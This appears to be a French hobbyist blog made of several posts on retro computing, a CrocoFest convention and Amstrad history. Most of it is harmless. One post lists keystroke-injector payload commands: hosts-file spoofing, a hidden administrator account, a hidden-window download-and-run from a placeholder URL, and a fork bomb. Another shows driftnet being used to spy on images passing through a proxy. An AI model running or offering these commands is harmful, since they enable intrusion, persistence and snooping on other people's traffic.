Nouvelle catégorie: la petite blague du mardi soir.

D’après une illustration de John Tenniel dans Les Aventures d’Alice au pays des merveilles de Lewis Caroll
Nouvelle catégorie: la petite blague du mardi soir.
D’après une illustration de John Tenniel dans Les Aventures d’Alice au pays des merveilles de Lewis Caroll
Compte rendu mouvementé de Amaury « BDCIron » Durand.
Ça y est c’est enfin le silence. Tout le monde est parti, je suis enfin seul à la maison, plus d’enfants, plus de femme, même plus de toutou…
C’est l’occasion de se préparer pour le crocofest qui commence demain. Sauf que…
Moi, vous me connaissez, je ne me déplace que rarement sans aller me promener à la recherche de la vie passée.
Surtout que depuis la naissance de mes enfants, les sorties paléontologie se sont faites bien plus rares.
Il me faut donc préparer sacs, outils, boites, sans compter le matos cpc: mon 6128+, les extensions et la doc.
Mais avant de faire tout ça, il faut coder. Car oui, j’ai l’intention de montrer un petit quelque chose pendant le meeting.
Depuis quelques jours sur mon discord on parle d’effets et entre autres d’un effet que j’ai tenté d’expliquer sans pouvoir le montrer.
J’ai donc quelques heures tranquille pour pouvoir coder dans le calme, chose tellement rare à la maison. J’ai prévu de me coucher à 20h pour me lever à 4h du mat.
Bien entendu rien ne se déroulera comme prévu.
J’attaque donc le code. Rapidement j’ai quelque chose de fonctionnel, mais un compteur déréglé me fit passer de l’état de physicien à celui de pilote d’essai… Non, ce n’est pas ça…*
Le compteur déréglé me fit perdre deux heures à chercher un bug bien pénible… Et j’en ai laissé un autre qui n’arrive qu’au bout d’un certain temps, mais donc on s’en fout un peu.
Bref, je me retrouve à remplir la voiture à 22h30 pour enfin me coucher vers 23h complètement à la bourre…
Fait chier, réveillé une heure trop tôt… Ça pique.
Un café, un thermos de préparé, paquets de gâteaux sur le siège passager, c’est l’heure du départ.
Il fait un temps pourri. Tellement pourri que parti depuis 15 minutes je me retrouve à rouler à 50 sur l’autoroute, car je n’y vois strictement rien.
C’est la tempête et il tombe des seaux de flotte. C’est infernal. Les camions sont garés sur la voie d’arrêt d’urgence, c’est craignos, mais j’avance.
Je passe Rennes, puis Nantes, le jour se lève sur ma banlieue, j’ai froid c’est pourtant pas l’hiver…
Comme je fais mon gros radin habituel, hors de question de prendre les péages. Surtout vu le prix faut pas déconner.
J’attaque les routes de merde après une pause bien méritée de deux minutes.
C’est long… C’est chiant… Mais il y a des paysages sympas comme dans toutes les régions de France hormis la région Parisienne bien évidemment.
Ici ça sent bon la campagne et l’air marin, les grandes étendues désertes…
En revanche, il y a du y avoir de sacrées subventions pour les ronds-points. Ici c’est ligne droite 1Km; rond-point.
Et on boucle… Au bout d’1h de route c’est un poil pénible quand même ces 60 ronds points.
On y croise aussi beaucoup d’oiseaux dont des échassiers à l’air con, magnifiques, impressionnants, mais cons… Des piafs quoi.
Bon j’ai épuisé mon café depuis 1 bonne heure, j’observe le centre de tous les bleds que je traverse et pourtant impossible d’y trouver un troquet.
C’est quoi ce pays ???!!!
Dans la voiture s’enchaînent depuis le début les albums.
J’ai commencé avec Blue Oyster Cult et leur excellent Fire Of Unknow Origin pour enchainer avec Crystal Throne et leur premier album éponyme.
Lizzy Borden et l’excellent Master Of Disguise me réveillent un peu et choquent les vieilles qui traversent devant moi aux passages piétons.
Faut dire que les cris de jouissance à fond du titre Love Is a Crime, vitre ouverte ça peut interroger…
J’arrive donc à Angoulins vers 9h. Je n’ai pas trainé, mais ayant roulé en dessous de la vitesse réglementaire tout le long, j’ai presque 1h de retard.
Je me gare tout au bout du bled, à la pointe du Chay, première étape de mon périple.
Le temps de se changer vite fait, et c’est parti pour une petite balade paléontologique en pied de falaises.
Il caille un peu, j’ai donc mis sur mon dos un manteau pris rapidement dans le garage avant de partir de la maison.
Heureusement… Ou pas.
Ce truc pue la pisse de souris en fait. Je m’en rendrais compte en retournant à la voiture plus tard.
Pour le moment, je recherche donc des fossiles.
La pointe du Chay a bien changé depuis ma venue en 2014. J’ai du mal à reconnaitre le coin, ça a vachement reculé la falaise ici.
J’y ramasse pas mal d’entroques de crinoïdes. Les crinoïdes sont des animaux du même embranchement que les oursins ou les étoiles de mer par exemple.
Ces animaux existent toujours, mais ceux que je récolte ici sont du Kimméridgien. C’est un étage du jurassique supérieur.
En gros on est en plein dans l’époque des célèbres dinosaures du temps de la splendeur avant de devenir des oiseaux cons.
Je récolte aussi quelques radioles (épines) d’oursins, mais aucun oursin par contre.
La trouvaille de la matinée est une dent de poisson lepidote (poisson broyeur). Rien d’exceptionnel cependant.
Je retourne donc à la voiture alourdie de quelques Kg de cailloux pour me changer.
Mais c’est quoi cette odeur ??? !!!
Bordel ça pue la pisse !!! Et effectivement, c’est le cas. Ce manteau que j’avais pris à la dernière minute dans le garage pue.
Mais le pire c’est qu’il a contaminé mon pull… Et comme un con je n’en ai pas prévu de deuxième.
Bon tant pis ça sera tShirt pour le we.
Je prends mon logement rapidement pour ce soir, l’occasion de prendre une douche rapide avant d’enfiler mon t-shirt Sinclair.
Et hop direction Croix-Chapeau, ce bled au nom étrange où a lieu le Crocofest.
50 ronds points plus tard (j’exagère un peu quand même), j’arrive à la salle où personne ne m’attend.
J’avais prévenu qu’en fonction des personnes présentes je ne viendrais pas. Je viens pour passer un bon moment, pas pour me prendre la tête avec des cons.
Heureusement, il n’y en a pas !!! 😀
Je fais un tour rapide pour dire bonjour à tout le monde, Claire est là avec sa fille, Zisquier avec sa compagne, beaucoup de membres de mon Discord sont présents et c’est l’occasion de les voir pour de vrai, pour la première fois pour la plupart.
RedBug en fait est grand. Mais toujours belge (on peut pas tout avoir).
Hinac n’a pas la même tête de profil que de face, je ne le reconnais simplement pas…
Je m’installe rapidement à côté de Claire et allume mon cpc. C’est l’occasion rapide de montrer ce que j’ai codé la veille.
Bien entendu c’est la gloire, tout le monde est impressionné, on m’adule, on me vénère !!!
Bon en fait non … Mais je suis content de mon truc quand même, c’est original et ça pose quelques questions.
Hinac en prendra même des photos juste au moment où le bug laissé de côté s’est laissé entrevoir. Merci Hinac pour ce bug historique.
Claire de son côté code la démo du meeting en pestant contre le player musical qui merde, Ricolaoz infuse devant son pi400 qui commence à montrer les prémices d’un futur environnement de dev 8bits.
Zisquier nous montre son Goldorak en version jouable à deux simultanément.
Je rencontre d’autres personnes, dont Jérémie, l’organisateur auquel je confie un 464 en panne avec une extension ram d’époque à l’intérieur.
Les discussions vont bon train.
Je découvre Guillaume From Bordeaux, un gars super sympa qui évoque l’investissement dans le retrogaming en le comparant à ceux qui dépensent 10000 balles dans une voiture.
C’est vrai qu’au final ça remet un peu les choses dans la réalité, on n’en est pas là niveau collection et finalement nos dépenses sont bien dérisoires et bien plus utiles qu’un tas de ferraille qui finira quelques années plus tard à la casse…
Paco est bien entendu présent et ce fut aussi un plaisir de le revoir et d’échanger quelques mots.
Mais il est toujours difficile d’approcher les stars…
Planneur me fera une démonstration de sa technique pour ajouter de la ram sur son msx. J’espère d’ailleurs un jour en avoir un, machine bien intéressante.
Je rencontre enfin, aussi, MacGyver et sa tête d’épingle. Son écran est bien sympathique comme le personnage.
Dans la série sympa, on retrouve DarkSteph qui sera ravi de voir une démonstration d’éclatage d’émulateur sur le cpc fpga de son voisin Redbug.
Les cafés s’enchaînent, Lzamu arrive enfin, l’équipe du Discord est complète.
Malgré ma volonté de vouloir coder un peu, ce fut un échec principalement dû à mon état de fatigue.
J’aurai à peine tapé une 20aine de lignes de code qui en plus ne donnera rien.
Pif Lyon, ex Duffy streamera tout le we. Je n’ai malheureusement pas eu de temps pour discuter avec lui, on verra cela l’an prochain.
Était aussi présent un gars qui a fabriqué un ordi 8bits à base de Z80 en partant de 0. Impressionnant.
Je ne vais pas citer tout le monde, car je n’ai pas eu le temps de faire connaissance avec tous les participants et me suis surtout concentré sur le cpc.
Cependant, comme Eric (LdirHector), j’ai particulièrement été attiré par le pcw de Mimil. Une bien belle machine que voilà. Faudra que je m’en trouve un histoire de documenter la bête.
Je terminerai avec Le graisseux ‘Jayblood‘ avec qui j’échangerai un peu sur le cpc.
Mimil gagnera le concours sur le jeu Goldorak après une lutte acharnée. Pour gagner, il fallait être le joueur de droite.
On terminera la soirée devant une pizza en groupe, un bon moment de déconnade encore.
Enfin vers 2h du mat ça sera retour à la piaule pour un bon sommeil. J’ai prévu de me lever à 8h pour aller fouiller sur l’île Madame (ou on est dans l’étage Cénomanien, c’est-à-dire du crétacé) à 1h de route.
Putain de merde, je n’ai pas entendu ce putain de reveil… Il fait un temps pourri de toute façon. Il pleut et il y a surtout des bourrasques de vent.
Pas vraiment un temps pour aller se promener en pied de falaise…
Le temps de prendre une douche, de boire un café, d’en faire un autre pour le thermos histoire de se réveiller pendant les 10 minutes de route et hop me voilà reparti.
Dans la salle c’est beaucoup plus calme, je ne sortirai pas mon cpc+ de la voiture aujourd’hui, bien conscient que de toute façon je ne coderai pas.
Comme la veille, je passerai du temps à discuter.
Enfin vers 15h j’irai manger un peu en compagnie de Claire, sa fille, Eric et Samuel(Lzamu) avant de reprendre la route, toujours aussi chiante.
Les Km s’enchainent et je dépasse enfin Rennes, ce qui annonce qu’il reste moins de 2h de route.
Une odeur de cramé paraît proche… Sans doute quelqu’un fait-il du feu dans les environs. Les esprits me guident, je ne m’inquiète pas.
Une fumée épaisse et noire sort du volant de ma voiture… Bon ben finalement c’est moi la merguez…
Je n’ai plus de clignotants ni d’éclairage. Le diagnostic est vite posé, le commodo des voyants a rendu l’âme.
Va falloir se magner de rentrer avant la nuit…
J’enchaine les Km, il m’en reste 10. Je m’apprête à prendre la sortie d’autoroute quand le voyant de surchauffe moteur s’allume. Cette fois c’est la merde.
Par réflexe, je pousse le clignotant vers la droite pour sortir. Le voyant s’éteint…
J’arrive enfin à la maison, bien crevé et plein de souvenirs. Quelle aventure !!!
Promis, sauf imprévu, je reviens l’an prochain 🙂
BDCiron / 3 avril 2023
Le 25 et 26 mars 2023 se déroulait la première CrocoFest à Croix-Chapeau.
Il s’agissait d’une convention principalement orientée Amstrad mais, les autres ordinosaures y étaient les bienvenus.
J’y étais et ai sorti le 1er numéro du Crazy Piri Chronicle entièrement consacré à cette convention. Pour ceux qui ne l’ont pas lu ou qui préfèrent lire sur leur PC/tablette/smartphone, je retranscrirai les articles ici tous les dimanches matin (en plus, c’est du contenu facile).
Si une deuxième édition devait avoir lieu, ce dont je ne doute pas, je ne manquerais pas de le signaler ici.
Tous les articles seront disponibles via l’étiquette crocofest2023.
3 novembre 1995, je participe à la Wired, ma première démo party.
Nous y allons sous le nom Paranoia. Le groupe de se compose de Darkangel, Wonderboy (sysop du BBS du même nom et futur Shaan et musicien de Crazy Piri) et moi-même.
La demoparty est organisée par Antarès et Imphobia. Antarès splittera quelques mois plus tard et nous formerons Ketchup Killers avec aXs. (aXs, Darkangel et moi sommes en classe ensemble pour notre première année de graduat en informatique).
Nous n’étions pas venus avec une production. J’en profiterais donc pour participer à la surprise coding. Il fallait coder un truc en assembleur le plus petit possible. J’arrive ex-aequo avec le légendaire Walken/Impact Studios. Fier.
Nous étions juste derrière la table de Melting Pot. Nous avons donc bénéficié de leur bonne ambiance (spécialement grâce à Zeugma et Darky). Walken, tout prêt, était toujours à l’affut de personnes voulant jouant à son jeu préféré: Arcade Volleyball.
Cette Wired’95 a lieu dans l’université de Mons Hainaut. Nous bénéficions donc des amphithéâtres pour visionner les compos, jouer à des jeux sur grands écrans (wipeout sur PlayStation entre autres) mais aussi regarder des films (dont Jurassic Park). Le grand luxe.
Pour cette première demoparty, je ne dors pas pendant 60 heures. La nuit du dimanche au lundi ne suffit pas à me remettre sur pied. Je me rappelle m’être endormi pendant le cours de statistique encore plus soporifique que d’habitude.
Que de bons souvenirs pour cette première demoparty. J’étais devenu un demoscener et je le resterais toute ma vie.
L’époque où le geek en informatique était presque vu comme un pestiféré est définitivement révolue. Internet et les smartphones le confirmeront plus tard… mais ceci est une autre histoire, qui sera contée une autre fois.
Pour le sigle CPC, c’est assez facile:
Colour Personal Computer soit Ordinateur personnel couleur.
Pour ce qui est des chiffres, la vraie signification est plus compliquée à trouver.
La fin est facile, c’est la quantité de mémoire (64k ou 128k). Le début, 4 pour cassette et 6 pour disquette. Mais pourquoi ?
En 1993, François Quentin, dans son excellent livre « Ces ordinateurs sont dangereux», nous dit : Le vrai nom allait devenir CPC 464 (Color Personal Computer, Ordinateur Personnel Couleur), 64 parce qu’il avait 64 K de mémoire, 4 devant le 64 parce que ça faisait plus riche que Commodore 64
En 2019, Roland Perry, le créateur de l’Amstrad, complète cette information dont tant de monde voudrait avoir le fin mot et c’est grâce à Zoé Kirk Robinson que nous savons enfin ce que signifie ces chiffres:
Il s’avère qu’ils ne veulent rien dire du tout ! Roland Perry a nommé le CPC 464 le « 464 » parce que l’ajout d’un 4 au début de « 64 » signifiait qu’il avait une symétrie. Lorsque le moment est venu de nommer le prochain CPC, il l’a appelé le « 664 » pour le différencier du « 464 » et vu que « 6 » était le prochain nombre pair, le 664 est né. Et pour son successeur sorti 6 mois plus tard, le 6128, vu qu’il n’était que le remplacement rapide du 664, ils sont restés avec le préfixe « 6 ».
Plus tard, lorsqu’ils ont voulu faire leurs gammes PCW et PC, ils ont gardé leur nomenclature avec le premier chiffre pour la gamme et le reste pour la mémoire. Ce qui a donné le PCW 8512 (ainsi que le PCW 9512 et PcW 16 ??) et le PC 1512… mais ceci est une autre histoire, qui sera contée une autre fois.
Vous avez accès à un serveur Proxy en ssh ?
Que diriez-vous de voir toutes les images qui passent par ce serveur ?
C’est très simple. Cela se fait via le package driftnet.
sudo apt-get install driftnet
sudo driftnet -i eth0 -w
Maintenant, à partir de votre navigateur, accèdez à l’adresse http://ip_du_serveur:9090
Toutes les images qui passeront en clair via l’interface réseau du serveur s’afficheront dans votre navigateur.
Comique. Non ? (Mais peut-être pas très GDPR – bien que… les images n’étant pas associées à un utilisateur, ça peut passer)
Si vous êtes joueur, vous pouvez, via une attaque de l’homme du milieu ou une mise en monitoring de votre port réseau analyser tout ce qui passe dans le réseau. Mais ceci est une autre histoire, qui sera contée une autre fois.
Encore un article sur le Rubber Ducky ? Pas vraiment.
On trouve sur le net beaucoup de payload pour les injecteurs claviers tel que le Rubber Duccky, DigiSpark et autres.
Les créateurs de ces payloads sont souvent très inventif. Dans cet article, je detaillerais certaines de leurs idées.
Cela se fait via l’interpreteur de commande (cmd) ou via powershell. Vous pouvez aussi executer une commande powershell en cmd:
powershell <vos instructions powershell>
La plupart des idées ont été reprises de ce GitHub.
Pour vous faire passer pour un serveur connu (via cmd)
ECHO 143.166.83.38 www.google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS
On crée l’utilisateur ‘accName’ avec le mot de passe ‘P@ssW0rD’ et on le met dans le groupe ‘Administrators’. Le groupe doit sans doute être modifié sur un PC dont la langue n’est pas l’anglais (via powershell)
$pass = ConvertTo-SecureString "P@ssW0rD" -AsPlainText -Force; New-LocalUser "accName" -Password $pass; Add-LocalGroupMember -Group "Administrators" -Member "accName"
On masque l’utilisateur ‘accName’ (via powershell). Cela montre aussi comment manipuler la base de registre en powershell (toujours intéressant)
New-Item -Path "'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon'" -Name "SpecialAccounts"
New-Item -Path "'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccounts'" -Name "UserList"
New-ItemProperty -Path "'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList'" -Name "accName" -Value "0" -PropertyType DWORD
On télécharge un fichier (un autre powershell par exemple) sur notre disque. Soyez attentif où vous sauvez. Tous les répertoires ne sont pas forcément accessible en écriture;
$client = new-object System.Net.WebClient
$client.DownloadFile("https://scriptURL" , "%USERPROFILE%script.ps1")
Vous voulez executer le script précedemment téléchargé dans une fenêtre cachée ? (via cmd)
powershell.exe -windowstyle hidden -File %USERPROFILE%\script.ps1
Sans commentaire 😉
for /l %%x in (0, 0, 0) do start
Ca ne sert à rien, mais c’est toujours amusant. (via cmd)
reg add "HKCUControl PanelDesktop" /v WallPaper /d "%USERPROFILE%doge.jpg" /f
RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True
Ca ne sert à rien, mais c’est toujours amusant (bis). (via powershell)
Add-Type -AssemblyName System.speech;
$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer
$speak.Speak("T'as pris quoi comme résolution pour cette nouvelle année ? 1080p.")
Si cela vous a plu, n’hésitez pas à le dire, il y a encore de quoi en faire quelques articles.
Ne vous êtes vous jamais demandé dans quel paquet se trouve un fichier qui se trouve sur votre linux ?
Vu que parcourir tous les paquets installés serait un peu long, une commande existe pour trouver facilement ce paquet.
dpkg -S /usr/bin/aplay
alsa-utils: /usr/bin/aplay
Vous pouvez maintenant retourner à vos activités.
J’ai enfin reçu mes Digispark, la petite clef usb avec son processeur ATtiny85.
Nous verrons donc dans ce post comment faire notre premier hello world.
Tout d’abord, nous installons l’application de developpement Arduino disponible sur leur site.
Un fois installé, nous ajoutons la bibliothèque nécessaire pour gérer le Digispark.
Dans les préférences, selectionnez le champ URL de gestionnaire de cartes supplémentaires et ajoutez cette ligne:
http://digistump.com/package_digistump_index.json
Dans le gestionnaire de cartes, sélectionnez Digistump AVR Boards et installez le.
En ce qui concerne le driver pour le Digispark, il n’est pas nécessaire pour macOS. Je n’en parlerai donc pas. Pour Linux ou Windows, les explications sont sur le site de digistump.com.
Le plus gros est fait. Nous pouvons maintenant créer notre application.
Dans le menu Outils, nous changeons le type de carte pour prendre le Digispark (Default – 16.5mhz).
Dans le menu Fichier, nous créeons un nouveau fichier et remplaçons le sketch par celui-ci:
#include "DigiKeyboard.h"
void setup() {
// initialize the digital pin as an output.
pinMode(0, OUTPUT); //LED sur le Model B
pinMode(1, OUTPUT); //LED sur le Model A
DigiKeyboard.delay(5000); // attend 5000ms avant la première execution afin de permettre au système d'initaliser notre clef
}
void loop() {
DigiKeyboard.sendKeyStroke(0); // pour eviter de perdre le premier caractère sur certains système
DigiKeyboard.println("Hello World!"); // Envoye le Hello World!
DigiKeyboard.delay(5000); // on attend à nouveau 5000ms pour relancer nos commandes
}
Avant d’insérer le Digispark, nous appuyons sur le bouton contenant la flèche pour lui téléverser notre script.
Quand la compilation est finie, la console affiche le texte suivant:
Running Digispark Uploader...
Plug in device now... (will timeout in 60 seconds)
Nous pouvons donc insérer le Digispark dans votre port USB. Cela prend quelques secondes et si tout va bien, l’écran affichera le message Hello World! toutes les 5 secondes. (en mode QWERTY. Il y a moyen de le faire passer en AZERTY, mais ceci est une autre histoire, qui sera contée une autre fois.)
Evidemment, il est necessaire de vite lancer un éditeur de texte qui recevra les appuis des touches afin de ne pas perturber le système 😉
Sous macOS, lors de la compilation, si vous avez le message suivant:
fork/exec /Users/XXXXX/Library/Arduino15/packages/arduino/tools/avr-gcc/4.8.1-arduino5/bin/avr-g++: bad CPU type in executable
Error compiling for board Digispark (Default - 16.5mhz).
Quittez l’IDE Arduino, et tapez ces lignes dans votre terminal pour corriger les liens vers le compilateur:
cd ~/Library/Arduino15/packages/arduino/tools/avr-gcc
mv 4.8.1-arduino5 orig.4.8.1
ln -s /Applications/Arduino.app/Contents/Java/hardware/tools/avr 4.8.1-arduino5
Encore un peu de préhistoire informatique,
Retour en 94-95… J’ai un 286 sans carte son et voudrait écouter des fichiers wav téléchargé d’Internet (via le réseau de la Polytech).
J’avais donc imaginé un nouveau format qui ressemblait un peu au .avi (format que ne je connaissais évidemment pas encore). Il pouvait encapsuler différents streams dont le stream son. C’est ce stream qui était joué sur le haut-parleur interne en 1bit, 8000hz.
Tout était bien documenté:
The Multimedia RedBugs File Format
The RedB File Format
The Redbugs file use this structure:
Offset Name Length (in byte) Description
00h ID 4h Contains the characters "RedB"
04h Rb_Data Rb_Len The data
04h+Rb_Len Rb_Data (2) Rb_Len(2) Another data
... ... ... ...
The Rb_Data Format
Offset Name Length (in byte) Description
00h Rb_ID 4h Contains the type of this data
04h Rb_Len 4h Length of this data
08h Ddata Rb_Len-08h Data of this data :=)
The Ddata format
The .SON form definition
Offset Name Length (in byte) Description
00h Freq 2 Frequency of the sample
02h Cps 2 Clock per second
03h Bit 1 # of bit of the sample
Après examen de ma documentation, on peut remarquer que:
mon nickname contenait encore un S à la fin.
je maitrisais déjà les smiley (mais pas totalement l’anglais) :=)
La seule partie interresante du source est celle qui permet de programmer le haut-parleur interne d’un PC.
Cela se fait via les port 43h, 42h et 61h.
Selection du type d’onde via le port 43h du PIT (Programmable Interval Timer – Intel 8253)
mov al,90h
out 43h,al
Activation du haut parleur (mise à 1 des 2 premiers bits) via le port 61h du PPI (Programmable Peripheral Interface)
in al,61h ; Read current port mode B (8255)
or al,03
out 61h,al ; Switch on speaker and timer
Ecriture sur le port 42h du PIT de l’octet de poids faible de la fréquence V, et ensuite, écriture sur le même port de l’octet de poids fort. (V étant égal à 1193180 / fréquence en Hz )
out 42h,al
Désactivation du haut parleur (remise à 0 des 2 premiers bits)
in al,61h
and al,0fch
out 61h,al
J’ai tout mis sur GitHub. L’intérêt est limité en 2022, mais ca fait partie de l’histoire (de la mienne en tout cas).